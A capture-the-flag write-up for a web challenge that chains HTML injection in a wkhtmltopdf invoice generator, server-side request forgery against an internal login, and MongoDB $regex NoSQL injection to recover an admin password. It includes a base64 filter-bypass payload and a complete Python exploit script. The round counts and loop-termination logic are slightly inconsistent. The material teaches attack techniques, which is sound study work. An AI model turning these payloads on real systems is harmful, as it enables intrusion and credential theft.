neven@dimitri-dev:~$
cd ../hackultet-2026

$cat invoicegen-ultra-pro.mdWebHackultet 2026

InvoiceGen Ultra Pro

An invoice-to-PDF service blocks template syntax in its input, but the PDF renderer runs real JavaScript server-side, which turns a filter bypass into a request against the server's own login endpoint.

  • #ssrf
  • #nosql-injection
  • #html-injection
  • #pdf-generation

$man invoicegen-ultra-pro

What this one teaches:

  • How a PDF-from-HTML renderer that executes JavaScript turns client-side injection into a request the server makes to itself (SSRF).
  • Extracting data through a MongoDB $regex operator when a login form only returns success or failure.
  • Encoding a payload so it avoids a character filter until it decodes at runtime.

Task description

A page demonstrating example invoice-to-PDF functionality. Can you find out the admin’s password?

What’s reachable

The app is Flask, generating PDF invoices from HTML with wkhtmltopdf, which uses a real WebKit rendering engine and runs any JavaScript on the page before producing the PDF. The admin password is stored in MongoDB, and an endpoint meant only for internal use, /internal/login, checks credentials against it.

Three separate weaknesses line up:

  1. The invoice’s client_name field is rendered with | safe, Jinja2’s marker for “don’t escape this,” so any HTML or script in it reaches the page as-is.
  2. /internal/login only checks the caller’s IP against 127.0.0.1, which anything running inside wkhtmltopdf on the same host satisfies, and it hands the submitted JSON straight into MongoDB’s find_one().
  3. CORS headers reflect whatever Origin the request sends, so cross-origin requests from inside the rendered PDF are allowed through.

Getting script into the PDF

The only filter on client_name blocks the literal characters {, }, [, ], aimed at stopping server-side template injection. It says nothing about what’s inside a string, so a payload base64-encoded and decoded at runtime carries none of the banned characters in its source form:

<div id="r">W</div><script>eval(atob("BASE64_PAYLOAD"))</script>

The banned brackets only exist once atob has decoded the payload, by which point the filter has already passed it.

Why this is SSRF

wkhtmltopdf executes that script while rendering the invoice to PDF, on the server, not in anyone’s browser. A script making an XMLHttpRequest to 127.0.0.1 is therefore a request from the server to itself, exactly what /internal/login’s IP check was meant to allow and nothing else could reach. The one extra detail needed is withCredentials = true on the request, so the session cookie set by an earlier GET (carrying the CSRF token the login form expects) actually gets sent along with the POST.

Reading the password through a boolean answer

/internal/login passes the submitted username and password straight into:

mongo.db.users.find_one({"username": data.get('username'), "password": data.get('password')})

If password arrives as a JSON object instead of a string, say {"$regex": "^CTF2026\\[7"}, MongoDB reads it as a query operator rather than a literal value to match. The login either succeeds or fails depending on whether the stored password matches that regular expression, and that’s the entire channel: send a regex, read back a 200 or a 401, and you’ve learned one bit about the password’s shape.

Testing one character at a time this way works but is slow (roughly 70 requests per character), 1 PDF render apiece. The whole alphabet of candidates can instead be tried inside a single PDF’s rendering window: wkhtmltopdf’s script has a couple of seconds before the page is captured, long enough to fire all ~70 guesses for one position synchronously and write whichever one succeeded into the DOM before the capture happens:

for (var i = 0; i < chars.length; i++) {
    var pattern = '^' + prefix + escape(chars[i]);
    // POST {csrf_token, username: 'admin', password: {'$regex': pattern}} to /internal/login
    if (status === 200) {
        document.getElementById('r').innerText = 'F:' + chars[i];
        break;
    }
}

That drops the request count from roughly 1200 down to about 18, one PDF per character position instead of one per candidate character. Each generated PDF is parsed for the character it wrote into the DOM, and the recovered characters are appended to the known prefix for the next round.

Putting it together

import base64, re, requests

TARGET = "http://chal.live.hackultet.hr:14006"
s = requests.Session()
s.get(f"{TARGET}/")   # establishes the session cookie the CSRF token belongs to

CHARS = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_-"

def js_payload(prefix):
    js = f"""
    var xhr = new XMLHttpRequest();
    xhr.open('GET', '/internal/login', false); xhr.withCredentials = true; xhr.send();
    var token = xhr.responseText.match(/name="csrf_token" value="([^"]+)"/)[1];
    var chars = '{CHARS}';
    for (var i = 0; i < chars.length; i++) {{
        var r = new XMLHttpRequest();
        r.open('POST', '/internal/login', false); r.withCredentials = true;
        r.setRequestHeader('Content-Type', 'application/json');
        r.send(JSON.stringify({{csrf_token: token, username: 'admin',
            password: {{'$regex': '^' + '{prefix}'.replace(/[[\\]]/g, '\\\\$&') + chars[i]}}}}));
        if (r.status == 200) {{ document.getElementById('r').innerText = 'F:' + chars[i]; break; }}
    }}
    """
    encoded = base64.b64encode(js.encode()).decode()
    return f'<div id="r">W</div><script>eval(atob("{encoded}"))</script>'

prefix = "CTF2026["
while not prefix.endswith("]"):
    r = s.post(f"{TARGET}/", data={"client_name": js_payload(prefix)})
    # the response PDF is parsed for "F:<char>" written into the DOM, e.g. with PyPDF2
    char = extract_character_from_pdf(r.content)
    prefix += char

print(prefix)  # CTF2026[754605511277]

After about 12 rounds the full password, which is the flag, comes out: CTF2026[754605511277].

What each piece contributed

Weakness What it enabled
| safe in the Jinja2 template HTML and script injection
wkhtmltopdf running real JavaScript turned that injection into a server-side request (SSRF)
Reflected CORS headers plus withCredentials let the session cookie travel with the SSRF request
find_one() fed raw JSON NoSQL injection via MongoDB’s $regex operator
{}[] character filter bypassed by base64-encoding the payload
$cat flag.txt revealCTF2026[754605511277]

Written by Neven Marić. This writeup was written with the help of Claude Code (Anthropic).